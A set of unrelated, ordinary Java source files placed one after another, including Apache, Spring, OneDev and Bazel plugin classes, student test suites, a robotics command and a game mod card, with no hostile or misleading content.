public RegexMatchingTypeValue asBooleanType() { return typed(Boolean.class); } }
package org.usfirst.frc3528.UpNext2016Robot.commands; import org.usfirst.frc3528.UpNext2016Robot.Robot; import org.usfirst.frc3528.UpNext2016Robot.RobotMap; import edu.wpi.first.wpilibj.command.Command; /** * */ public class ZeroDriveEncoders extends Command { public ZeroDriveEncoders() { } protected void initialize() { // Setting timeout setTimeout(.075); } protected void execute() { // Zeroing encoders. (And setting the timeout again?) setTimeout(.075); Robot.driveTrain.zeroEncoders(); } protected boolean isFinished() { // Returns true when either both drive encoders reach 0, or timeout is reached. return Robot.driveTrain.leftPos() == 0 && Robot.driveTrain.rightPos() == 0 || isTimedOut(); } protected void end() { } protected void interrupted() { } }
package io.onedev.server.web.page.project.blob.render.renderers.folder; import java.io.IOException; import java.util.HashMap; import java.util.Map; import javax.annotation.Nullable; import org.apache.shiro.authz.UnauthorizedException; import org.apache.wicket.request.cycle.RequestCycle; import org.apache.wicket.request.mapper.parameter.PageParameters; import org.apache.wicket.request.resource.AbstractResource; import org.eclipse.jgit.lib.PersonIdent; import org.eclipse.jgit.revwalk.LastCommitsOfChildren; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; import io.onedev.server.OneDev; import io.onedev.server.model.Project; import io.onedev.server.persistence.dao.Dao; import io.onedev.server.security.SecurityUtils; import io.onedev.server.util.DateUtils; import io.onedev.server.web.avatar.AvatarManager; import io.onedev.server.web.page.project.commits.CommitDetailPage; import io.onedev.server.web.util.ReferenceTransformer; /** * Loading commits of children may take some time, and we do this via resource loading to avoid blocking * other Wicket based ajax requests. * * @author robin * */ class LastCommitsResource extends AbstractResource { private static final long serialVersionUID = 1L; private static final String PARAM_REPO = "repo"; private static final String PARAM_REVISION = "revision"; private static final String PARAM_PATH = "path"; @Override protected ResourceResponse newResourceResponse(Attributes attributes) { PageParameters params = attributes.getParameters(); final Long projectId = params.get(PARAM_REPO).toLong(); final String revision = params.get(PARAM_REVISION).toString(); final String path = params.get(PARAM_PATH).toOptionalString(); ResourceResponse response = new ResourceResponse(); response.setContentType("application/json"); response.setWriteCallback(new WriteCallback() { @Override public void writeData(Attributes attributes) throws IOException { Project project = OneDev.getInstance(Dao.class).load(Project.class, projectId); if (!SecurityUtils.canReadCode(project)) throw new UnauthorizedException(); LastCommitsOfChildren lastCommits = project.getLastCommitsOfChildren(revision, path); AvatarManager avatarManager = OneDev.getInstance(AvatarManager.class); Map<String, LastCommitInfo> map = new HashMap<>(); for (Map.Entry<String, LastCommitsOfChildren.Value> entry: lastCommits.entrySet()) { LastCommitInfo info = new LastCommitInfo(); LastCommitsOfChildren.Value value = entry.getValue(); PageParameters params = CommitDetailPage.paramsOf(project, value.getId().name()); String url = RequestCycle.get().urlFor(CommitDetailPage.class, params).toString(); ReferenceTransformer transformer = new ReferenceTransformer(project, url); info.html = transformer.apply(value.getSummary()); info.when = DateUtils.formatAge(value.getCommitDate()); PersonIdent author = value.getAuthor(); info.authorName = author.getName(); info.authorEmailAddress = author.getEmailAddress(); info.authorAvatarUrl = avatarManager.getAvatarUrl(author); map.put(entry.getKey(), info); } String json; try { json = OneDev.getInstance(ObjectMapper.class).writeValueAsString(map); } catch (JsonProcessingException e) { throw new RuntimeException(e); } attributes.getResponse().write(json); } }); return response; } public static PageParameters paramsOf(Project project, String revision, @Nullable String path) { PageParameters params = new PageParameters(); params.set(PARAM_REPO, project.getId()); params.set(PARAM_REVISION, revision); if (path != null) params.set(PARAM_PATH, path); return params; } @SuppressWarnings("unused") private static class LastCommitInfo { String html; String when; String authorAvatarUrl; String authorName; String authorEmailAddress; } }
package com.jspxcms.core.service; import com.jspxcms.core.domain.Info; public interface InfoMemberGroupService { public void update(Info info, Integer[] viewGroupIds); }
/* * Copyright 2002-2016 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.core.convert.converter; /** * For registering converters with a type conversion system. * * @author Keith Donald * @author Juergen Hoeller * @since 3.0 */ public interface ConverterRegistry { /** * Add a plain converter to this registry. * The convertible source/target type pair is derived from the Converter's parameterized types. * @throws IllegalArgumentException if the parameterized types could not be resolved */ void addConverter(Converter<?, ?> converter); /** * Add a plain converter to this registry. * The convertible source/target type pair is specified explicitly. * <p>Allows for a Converter to be reused for multiple distinct pairs without * having to create a Converter class for each pair. * @since 3.1 */ <S, T> void addConverter(Class<S> sourceType, Class<T> targetType, Converter<? super S, ? extends T> converter); /** * Add a generic converter to this registry. */ void addConverter(GenericConverter converter); /** * Add a ranged converter factory to this registry. * The convertible source/target type pair is derived from the ConverterFactory's parameterized types. * @throws IllegalArgumentException if the parameterized types could not be resolved */ void addConverterFactory(ConverterFactory<?, ?> factory); /** * Remove any converters from {@code sourceType} to {@code targetType}. * @param sourceType the source type * @param targetType the target type */ void removeConvertible(Class<?> sourceType, Class<?> targetType); }
package nl.buildforce.sequoia.jpa.processor.core.serializer; import nl.buildforce.sequoia.jpa.processor.core.api.JPAODataCRUDContextAccess; import nl.buildforce.sequoia.jpa.processor.core.exception.ODataJPASerializerException; import org.apache.olingo.commons.api.data.Annotatable; import org.apache.olingo.commons.api.data.ContextURL; import org.apache.olingo.commons.api.data.EntityCollection; import org.apache.olingo.commons.api.data.Property; import org.apache.olingo.commons.api.edm.EdmPrimitiveType; import org.apache.olingo.commons.api.edm.EdmType; import org.apache.olingo.commons.api.format.ContentType; import org.apache.olingo.commons.api.http.HttpStatusCode; import org.apache.olingo.server.api.ODataRequest; import org.apache.olingo.server.api.ServiceMetadata; import org.apache.olingo.server.api.serializer.ODataSerializer; import org.apache.olingo.server.api.serializer.PrimitiveSerializerOptions; import org.apache.olingo.server.api.serializer.SerializerException; import org.apache.olingo.server.api.serializer.SerializerResult; import java.net.URISyntaxException; final class JPASerializePrimitiveCollection implements JPAOperationSerializer { private final ServiceMetadata serviceMetadata; private final ODataSerializer serializer; private final ContentType responseFormat; private final JPAODataCRUDContextAccess serviceContext; JPASerializePrimitiveCollection(final ServiceMetadata serviceMetadata, final ODataSerializer serializer, final ContentType responseFormat, final JPAODataCRUDContextAccess context) { this.serializer = serializer; this.serviceMetadata = serviceMetadata; this.responseFormat = responseFormat; this.serviceContext = context; } @Override public ContentType getContentType() { return responseFormat; } @Override public SerializerResult serialize(final Annotatable result, final EdmType primitiveType, final ODataRequest request) throws SerializerException, ODataJPASerializerException { try { final ContextURL contextUrl = ContextURL.with() .serviceRoot(buildServiceRoot(request, serviceContext)) .asCollection() .build(); final PrimitiveSerializerOptions options = PrimitiveSerializerOptions.with().contextURL(contextUrl).build(); return serializer.primitiveCollection(serviceMetadata, (EdmPrimitiveType) primitiveType, (Property) result, options); } catch (final URISyntaxException e) { throw new ODataJPASerializerException(e, HttpStatusCode.BAD_REQUEST); } } @Override public SerializerResult serialize(final ODataRequest request, final EntityCollection result) { return null; } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * The Resource File Provider. */ package org.apache.commons.vfs2.provider.res;
/* * ==================================================================== * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * ==================================================================== * * This software consists of voluntary contributions made by many * individuals on behalf of the Apache Software Foundation. For more * information on the Apache Software Foundation, please see * <http://www.apache.org/>. * */ package org.apache.http; import java.io.IOException; /** * Signals that HTTP entity content is too long. * * @since 4.2 */ public class ContentTooLongException extends IOException { private static final long serialVersionUID = -924287689552495383L; /** * Creates a new ContentTooLongException with the specified detail message. * * @param message exception message */ public ContentTooLongException(final String message) { super(message); } }
package ru.malanyuk.test.tests; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import ru.malanyuk.test.model.ContactData; import ru.malanyuk.test.model.Contacts; import java.util.Arrays; import java.util.stream.Collectors; import static org.hamcrest.CoreMatchers.equalTo; import static org.hamcrest.MatcherAssert.assertThat; /** * Created by ahomia on 05.12.2016. */ public class ContactEmailTests extends TestBase { @BeforeMethod public void ensurePreConditions() { if (app.contact().list().size() == 0) { app.contact().create(new ContactData() .withFirstname("Marina").withLastname("Malaniuk").withNickname("Ahomia"). withCompany("Artezio").withHome("123").withMobile("89873862557").withWork("321").withEmail("marina.malaniuk@gmail.com"). withBithdayDay("3").withBithdayMounth("January").withBithdayYear("1992").withAddress("Saratov 410012"). withEmail2("marina.malaniuk2@gmail.com").withEmail3("marina.malaniuk3@gmail.com")); } } @Test public void testContactsEmail() { app.goTo().HomePage(); ContactData contact = app.contact().all().iterator().next(); ContactData contactInfoFromEditForm = app.contact().infoFormEditForm(contact); assertThat(contact.getAllEmails(), equalTo(mergeEmails(contactInfoFromEditForm))); //assertThat(contact.getEmail2(), equalTo(contactInfoFromEditForm.getEmail2())); // assertThat(contact.getEmail3(), equalTo(contactInfoFromEditForm.getEmail3())); } public static String mergeEmails(ContactData contact) { return Arrays.asList(contact.getEmail(), contact.getEmail2(), contact.getEmail3()) .stream().filter((s) -> !s.equals("")) .map(ContactEmailTests::cleaned) .collect(Collectors.joining("\n")); } public static String cleaned(String email) { return email.replaceAll("\\s", ""); } }
package com.liurui.redis.entity; import java.io.Serializable; public class User implements Serializable { private Integer id; private String name; public User() { } public User(Integer id, String name) { this.id = id; this.name = name; } public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public String toString() { return "User{" + "id=" + id + ", name='" + name + '\'' + '}'; } }
/* * Copyright 2018 The Bazel Authors. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.idea.blaze.java.fastbuild; import com.google.common.base.Stopwatch; import com.google.idea.blaze.base.logging.EventLoggingService; import com.google.idea.blaze.base.scope.BlazeContext; import com.google.idea.blaze.base.scope.BlazeScope; import com.google.idea.blaze.base.scope.Output; import com.google.idea.blaze.base.scope.OutputSink.Propagation; import java.util.LinkedHashMap; import java.util.Map; /** * Stores information about the fast build into a map so it can be logged by the BlazeContext * creator owner. */ public final class FastBuildLogDataScope implements BlazeScope { /** Log data about a fast build. */ public static class FastBuildLogOutput implements Output { private final String key; private final String value; private FastBuildLogOutput(String key, String value) { this.key = key; this.value = value; } public static FastBuildLogOutput keyValue(String key, String value) { return new FastBuildLogOutput(key, value); } public static FastBuildLogOutput milliseconds(String key, Stopwatch timer) { return new FastBuildLogOutput(key, Long.toString(timer.elapsed().toMillis())); } } // Use a LinkedHashMap so that we preserve the order of the entries. private final Map<String, String> logData = new LinkedHashMap<>(); private final Stopwatch timer = Stopwatch.createUnstarted(); @Override public void onScopeBegin(BlazeContext context) { context.addOutputSink( FastBuildLogOutput.class, output -> { logData.put(output.key, output.value); return Propagation.Continue; }); timer.start(); } @Override public void onScopeEnd(BlazeContext context) { EventLoggingService.getInstance() .logEvent(FastBuildService.class, "fast_build", logData, timer.elapsed().toMillis()); } }
package com.fgroupindonesia.fgimobilebaru.helper; public class URLReference { //public static String Remote = "http://api.portal.fgroupindonesia.com"; public static String Remote = "http://192.168.0.10"; public static String Gmaps = "https://goo.gl/maps/Ycxx2BjB3cRBpBso7"; public static String RemoteLoginVerify = Remote + "/remotelogin/verify"; public static String RemoteLoginDisconnect = Remote + "/remotelogin/disconnect"; public static String RemoteLoginShow = Remote + "/remotelogin/show"; public static String UserLogin = Remote + "/user/login"; public static String UserProfile = Remote + "/user/profile"; public static String UserUpdate = Remote + "/user/update"; public static String UserPicture = Remote + "/user/picture?propic="; public static String AttendanceAll = Remote + "/attendance/all"; public static String PaymentAll = Remote + "/payment/all"; public static String DocumentAll = Remote + "/document/all"; public static String ScheduleAll = Remote + "/schedule/all"; public static String CertificateStudentAll = Remote + "/certificatestudent/all"; public static String AttendanceAdd = Remote + "/attendance/add"; public static String BillAll = Remote + "/bill/all"; public static String BillPaid = Remote + "/bill/paid"; public static String HistoryAdd = Remote + "/history/add"; public static String HistoryAll = Remote + "/history/all"; public static String MainWebsite = "http://fgroupindonesia.com"; public static String RegistrationPage = MainWebsite + "/pendaftaran"; }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.hive.service.auth.ldap; import java.io.Closeable; import java.util.List; import javax.naming.NamingException; /** * The object used for executing queries on the Directory Service. */ public interface DirSearch extends Closeable { /** * Finds user's distinguished name. * @param user username * @return DN for the specified username * @throws NamingException */ String findUserDn(String user) throws NamingException; /** * Finds group's distinguished name. * @param group group name or unique identifier * @return DN for the specified group name * @throws NamingException */ String findGroupDn(String group) throws NamingException; /** * Verifies that specified user is a member of specified group. * @param user user id or distinguished name * @param groupDn group's DN * @return {@code true} if the user is a member of the group, {@code false} - otherwise. * @throws NamingException */ boolean isUserMemberOfGroup(String user, String groupDn) throws NamingException; /** * Finds groups that contain the specified user. * @param userDn user's distinguished name * @return list of groups * @throws NamingException */ List<String> findGroupsForUser(String userDn) throws NamingException; /** * Executes an arbitrary query. * @param query any query * @return list of names in the namespace * @throws NamingException */ List<String> executeCustomQuery(String query) throws NamingException; }
package Models; import Authentication.ItemAuth; import Authentication.UserAuth; import Database.ItemsDB; import Database.SellersDB; import Database.UsersDB; import Database.CustomersDB; import java.util.LinkedList; public class Admin extends User { public Admin() { // protected super("Admin", "Admin", "Admin", "Super", "Admin", "0000-01-01"); setDefaultAge(); } public void verifySeller(String username) { SellersDB.updateDB(username, true); } public LinkedList<String[]> returnAllUsers() { // additional security layer is not required return UsersDB.getUsers(); } public LinkedList<String[]> returnUnverifiedSellers() { LinkedList<String[]> sellers = SellersDB.getSellers(); LinkedList<String[]> unverifiedSellers = new LinkedList<>(); String[] unverifiedSeller; for (String[] seller : sellers) { if (seller[1].equals("false")) { // booleans were converted to String when working with unverifiedSeller = findSeller(seller[0]); unverifiedSellers.add(unverifiedSeller); } } return unverifiedSellers; } public String[] findSeller(String username) { LinkedList<String[]> users = UsersDB.getUsers(); for (String[] user : users) { if (username.equals(user[1])) { return user; } } return null; } public void removeUser(String username) { if (!UserAuth.isAdmin(username)) { UsersDB.removeFromDB(username); CustomersDB.removeFromDB(username); SellersDB.removeFromDB(username); ItemsDB.removeSellerItems(username); } } public void removeItem(String itemID) { if (ItemAuth.itemExists(itemID)) { ItemsDB.removeFromDB(itemID); } } public void setDefaultAge() { setAge(0); UsersDB.updateAge(this); } }
package other.document.service.impl; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import other.mail.util.GetJson; import java.io.File; import static other.document.utils.VideoFind.downloadMovie; /** * @author orcakill * @version 1.0.0 * @ClassName FindServiceImpl.java * @Description TODO * @createTime 2021年11月02日 08:25:00 */ public class FindServiceImpl { public static void findVideo () { System.out.println("开始"); long start = System.currentTimeMillis(); /** * 从json中获取到的 url * 请获取后手动填写 */ String url="https://api.bilibili.com/x/player/playurl?cid=111804822&otype=json&avid=58906853&fnver=0&fnval" + "=2&player=1&qn=112\n"; String str= GetJson.getHttpJson (url); JSONObject jsonObject=JSONObject.parseObject (str); JSONArray jsonArray=jsonObject.getJSONObject ("data").getJSONArray ("durl"); String lastUrl =jsonArray.getJSONObject (0).get ("url").toString (); //自定义文件名称 String fileName = "D:\\test\\video_find\\a.flv"; File file=new File (fileName); if(!file.exists ()){ downloadMovie(lastUrl, fileName); } long end = System.currentTimeMillis(); System.out.println("完成 "); System.err.println("总共耗时:" + (end - start) / 1000 + "s"); } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.log4j; import org.apache.log4j.spi.LoggingEvent; import org.apache.log4j.spi.LocationInfo; import org.apache.log4j.helpers.Transform; /** * This layout outputs events in a HTML table. * * Appenders using this layout should have their encoding * set to UTF-8 or UTF-16, otherwise events containing * non ASCII characters could result in corrupted * log files. * * @author Ceki G&uuml;lc&uuml; */ public class HTMLLayout extends Layout { protected final int BUF_SIZE = 256; protected final int MAX_CAPACITY = 1024; static String TRACE_PREFIX = "<br>&nbsp;&nbsp;&nbsp;&nbsp;"; // output buffer appended to when format() is invoked private StringBuffer sbuf = new StringBuffer(BUF_SIZE); /** A string constant used in naming the option for setting the the location information flag. Current value of this string constant is <b>LocationInfo</b>. <p>Note that all option keys are case sensitive. @deprecated Options are now handled using the JavaBeans paradigm. This constant is not longer needed and will be removed in the <em>near</em> term. */ public static final String LOCATION_INFO_OPTION = "LocationInfo"; /** A string constant used in naming the option for setting the the HTML document title. Current value of this string constant is <b>Title</b>. */ public static final String TITLE_OPTION = "Title"; // Print no location info by default boolean locationInfo = false; String title = "Log4J Log Messages"; /** The <b>LocationInfo</b> option takes a boolean value. By default, it is set to false which means there will be no location information output by this layout. If the the option is set to true, then the file name and line number of the statement at the origin of the log statement will be output. <p>If you are embedding this layout within an {@link org.apache.log4j.net.SMTPAppender} then make sure to set the <b>LocationInfo</b> option of that appender as well. */ public void setLocationInfo(boolean flag) { locationInfo = flag; } /** Returns the current value of the <b>LocationInfo</b> option. */ public boolean getLocationInfo() { return locationInfo; } /** The <b>Title</b> option takes a String value. This option sets the document title of the generated HTML document. <p>Defaults to 'Log4J Log Messages'. */ public void setTitle(String title) { this.title = title; } /** Returns the current value of the <b>Title</b> option. */ public String getTitle() { return title; } /** Returns the content type output by this layout, i.e "text/html". */ public String getContentType() { return "text/html"; } /** No options to activate. */ public void activateOptions() { } public String format(LoggingEvent event) { if(sbuf.capacity() > MAX_CAPACITY) { sbuf = new StringBuffer(BUF_SIZE); } else { sbuf.setLength(0); } sbuf.append(Layout.LINE_SEP + "<tr>" + Layout.LINE_SEP); sbuf.append("<td>"); sbuf.append(event.timeStamp - LoggingEvent.getStartTime()); sbuf.append("</td>" + Layout.LINE_SEP); String escapedThread = Transform.escapeTags(event.getThreadName()); sbuf.append("<td title=\"" + escapedThread + " thread\">"); sbuf.append(escapedThread); sbuf.append("</td>" + Layout.LINE_SEP); sbuf.append("<td title=\"Level\">"); if (event.getLevel().equals(Level.DEBUG)) { sbuf.append("<font color=\"#339933\">"); sbuf.append(Transform.escapeTags(String.valueOf(event.getLevel()))); sbuf.append("</font>"); } else if(event.getLevel().isGreaterOrEqual(Level.WARN)) { sbuf.append("<font color=\"#993300\"><strong>"); sbuf.append(Transform.escapeTags(String.valueOf(event.getLevel()))); sbuf.append("</strong></font>"); } else { sbuf.append(Transform.escapeTags(String.valueOf(event.getLevel()))); } sbuf.append("</td>" + Layout.LINE_SEP); String escapedLogger = Transform.escapeTags(event.getLoggerName()); sbuf.append("<td title=\"" + escapedLogger + " category\">"); sbuf.append(escapedLogger); sbuf.append("</td>" + Layout.LINE_SEP); if(locationInfo) { LocationInfo locInfo = event.getLocationInformation(); sbuf.append("<td>"); sbuf.append(Transform.escapeTags(locInfo.getFileName())); sbuf.append(':'); sbuf.append(locInfo.getLineNumber()); sbuf.append("</td>" + Layout.LINE_SEP); } sbuf.append("<td title=\"Message\">"); sbuf.append(Transform.escapeTags(event.getRenderedMessage())); sbuf.append("</td>" + Layout.LINE_SEP); sbuf.append("</tr>" + Layout.LINE_SEP); if (event.getNDC() != null) { sbuf.append("<tr><td bgcolor=\"#EEEEEE\" style=\"font-size : xx-small;\" colspan=\"6\" title=\"Nested Diagnostic Context\">"); sbuf.append("NDC: " + Transform.escapeTags(event.getNDC())); sbuf.append("</td></tr>" + Layout.LINE_SEP); } String[] s = event.getThrowableStrRep(); if(s != null) { sbuf.append("<tr><td bgcolor=\"#993300\" style=\"color:White; font-size : xx-small;\" colspan=\"6\">"); appendThrowableAsHTML(s, sbuf); sbuf.append("</td></tr>" + Layout.LINE_SEP); } return sbuf.toString(); } void appendThrowableAsHTML(String[] s, StringBuffer sbuf) { if(s != null) { int len = s.length; if(len == 0) return; sbuf.append(Transform.escapeTags(s[0])); sbuf.append(Layout.LINE_SEP); for(int i = 1; i < len; i++) { sbuf.append(TRACE_PREFIX); sbuf.append(Transform.escapeTags(s[i])); sbuf.append(Layout.LINE_SEP); } } } /** Returns appropriate HTML headers. */ public String getHeader() { StringBuffer sbuf = new StringBuffer(); sbuf.append("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">" + Layout.LINE_SEP); sbuf.append("<html>" + Layout.LINE_SEP); sbuf.append("<head>" + Layout.LINE_SEP); sbuf.append("<title>" + title + "</title>" + Layout.LINE_SEP); sbuf.append("<style type=\"text/css\">" + Layout.LINE_SEP); sbuf.append("<!--" + Layout.LINE_SEP); sbuf.append("body, table {font-family: arial,sans-serif; font-size: x-small;}" + Layout.LINE_SEP); sbuf.append("th {background: #336699; color: #FFFFFF; text-align: left;}" + Layout.LINE_SEP); sbuf.append("-->" + Layout.LINE_SEP); sbuf.append("</style>" + Layout.LINE_SEP); sbuf.append("</head>" + Layout.LINE_SEP); sbuf.append("<body bgcolor=\"#FFFFFF\" topmargin=\"6\" leftmargin=\"6\">" + Layout.LINE_SEP); sbuf.append("<hr size=\"1\" noshade>" + Layout.LINE_SEP); sbuf.append("Log session start time " + new java.util.Date() + "<br>" + Layout.LINE_SEP); sbuf.append("<br>" + Layout.LINE_SEP); sbuf.append("<table cellspacing=\"0\" cellpadding=\"4\" border=\"1\" bordercolor=\"#224466\" width=\"100%\">" + Layout.LINE_SEP); sbuf.append("<tr>" + Layout.LINE_SEP); sbuf.append("<th>Time</th>" + Layout.LINE_SEP); sbuf.append("<th>Thread</th>" + Layout.LINE_SEP); sbuf.append("<th>Level</th>" + Layout.LINE_SEP); sbuf.append("<th>Category</th>" + Layout.LINE_SEP); if(locationInfo) { sbuf.append("<th>File:Line</th>" + Layout.LINE_SEP); } sbuf.append("<th>Message</th>" + Layout.LINE_SEP); sbuf.append("</tr>" + Layout.LINE_SEP); return sbuf.toString(); } /** Returns the appropriate HTML footers. */ public String getFooter() { StringBuffer sbuf = new StringBuffer(); sbuf.append("</table>" + Layout.LINE_SEP); sbuf.append("<br>" + Layout.LINE_SEP); sbuf.append("</body></html>"); return sbuf.toString(); } /** The HTML layout handles the throwable contained in logging events. Hence, this method return <code>false</code>. */ public boolean ignoresThrowable() { return false; } }
package ru.job4j.array; import org.junit.Before; import org.junit.Test; import static org.hamcrest.Matchers.is; import static org.junit.Assert.*; public class RoleStoreTest { private RoleStore roleStore; @Before public void setUp() { roleStore = new RoleStore(5); roleStore.add(new Role("AAA")); roleStore.add(new Role("DDD")); roleStore.add(new Role("SSS")); } @Test public void whenIdSSSS() { Role result = roleStore.findById("SSS"); assertThat(result.getId(), is("SSS")); } @Test public void whenDeleteSSS() { boolean del = roleStore.delete("SSS"); assertThat(del, is(true)); } @Test public void whenReplaceSSS() { boolean replace = roleStore.replace("SSS", new Role("XXX")); assertThat(replace, is(true)); assertThat(roleStore.findById("XXX").getId(), is("XXX")); } }
package com.mycompany.bucledowhile; import java.util.Scanner; /** * * @author alemr */ public class BucleDoWhile { /** * @param args the command line arguments */ public static void main(String[] args) { Scanner entrada = new Scanner(System.in); int i, contador; System.out.println("Digite un numero: "); contador = entrada.nextInt(); if(contador >= 0) { i = 1; do { System.out.println(i); i++; } while (i<=contador); } else { i = -1; do { System.out.println(i); i--; } while (i>=contador); } } }
package net.ripe.db.whois.nrtm.integration; import net.ripe.db.whois.common.IntegrationTest; import net.ripe.db.whois.common.support.TelnetWhoisClient; import net.ripe.db.whois.nrtm.NrtmServer; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.experimental.categories.Category; import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.assertThat; @Category(IntegrationTest.class) public class NrtmTimestampsTestIntegration extends AbstractNrtmIntegrationBase { @Before public void before() throws Exception { nrtmServer.start(); } @After public void after() { nrtmServer.stop(true); } @Test public void nrtm_retains_timestamp_attributes() { databaseHelper.addObject("" + "aut-num: AS102\n" + "as-name: End-User-2\n" + "created: 2001-02-04T17:00:00Z\n" + "last-modified: 2001-02-04T17:00:00Z\n" + "source: TEST\n"); final String response = TelnetWhoisClient.queryLocalhost(NrtmServer.getPort(), "-g TEST:3:1-LAST"); assertThat(response, containsString("" + "aut-num: AS102\n" + "as-name: End-User-2\n" + "created: 2001-02-04T17:00:00Z\n" + "last-modified: 2001-02-04T17:00:00Z\n" + "source: TEST\n")); } @Test public void nrtm_timestamp_attributes_organisation() { databaseHelper.addObject("" + "organisation: ORG1-TEST\n" + "org-name: Wasp Corp\n" + "org-type: OTHER\n" + "created: 2001-02-04T17:00:00Z\n" + "last-modified: 2001-02-04T17:00:00Z\n" + "source: TEST\n"); final String response = TelnetWhoisClient.queryLocalhost(NrtmServer.getPort(), "-g TEST:3:1-LAST"); assertThat(response, containsString("" + "organisation: ORG1-TEST\n" + "org-name: Wasp Corp\n" + "org-type: OTHER\n" + "created: 2001-02-04T17:00:00Z\n" + "last-modified: 2001-02-04T17:00:00Z\n" + "source: TEST\n")); } }
package QueenMod.cards; import QueenMod.QueenMod; import QueenMod.actions.MakeTempCardInDrawPileActionFast; import QueenMod.characters.TheQueen; import QueenMod.powers.WorkerDronesPower; import com.megacrit.cardcrawl.actions.common.*; import com.megacrit.cardcrawl.cards.AbstractCard; import com.megacrit.cardcrawl.characters.AbstractPlayer; import com.megacrit.cardcrawl.core.CardCrawlGame; import com.megacrit.cardcrawl.dungeons.AbstractDungeon; import com.megacrit.cardcrawl.localization.CardStrings; import com.megacrit.cardcrawl.monsters.AbstractMonster; import static QueenMod.QueenMod.makeCardPath; // public class ${NAME} extends AbstractDynamicCard public class WorkerDrones extends AbstractDynamicCard { // TEXT DECLARATION public static final String ID = QueenMod.makeID(WorkerDrones.class.getSimpleName()); // USE THIS ONE FOR THE TEMPLATE; public static final String IMG = makeCardPath("workerdrones.png");// "public static final String IMG = makeCardPath("${NAME}.png"); // This does mean that you will need to have an image with the same NAME as the card in your image folder for it to run correctly. private static final CardStrings cardStrings = CardCrawlGame.languagePack.getCardStrings(ID); private static final String UPGRADE_DESCRIPTION = cardStrings.UPGRADE_DESCRIPTION; AbstractCard d; // /TEXT DECLARATION/ // STAT DECLARATION private static final CardRarity RARITY = CardRarity.UNCOMMON; // Up to you, I like auto-complete on these private static final CardTarget TARGET = CardTarget.NONE; // since they don't change much. private static final CardType TYPE = CardType.POWER; // public static final CardColor COLOR = TheQueen.Enums.COLOR_YELLOW; private static final int COST = 1; // COST = ${COST} private static final int UPGRADED_COST = 0; private static final int MAGIC = 2; // /STAT DECLARATION/ public WorkerDrones() { // public ${NAME}() - This one and the one right under the imports are the most important ones, don't forget them super(ID, IMG, COST, TYPE, COLOR, RARITY, TARGET); baseMagicNumber = magicNumber = MAGIC; } // Actions the card should do. @Override public void use(AbstractPlayer p, AbstractMonster m) { AbstractDungeon.actionManager.addToBottom(new ApplyPowerAction(p, p, new WorkerDronesPower(p, p, 1))); AbstractDungeon.actionManager.addToBottom(new MakeTempCardInDrawPileActionFast(new HoneyBee(), magicNumber, true, false)); } // Upgraded stats. @Override public void upgrade() { if (!upgraded) { upgradeName(); upgradeBaseCost(UPGRADED_COST); initializeDescription(); } } }
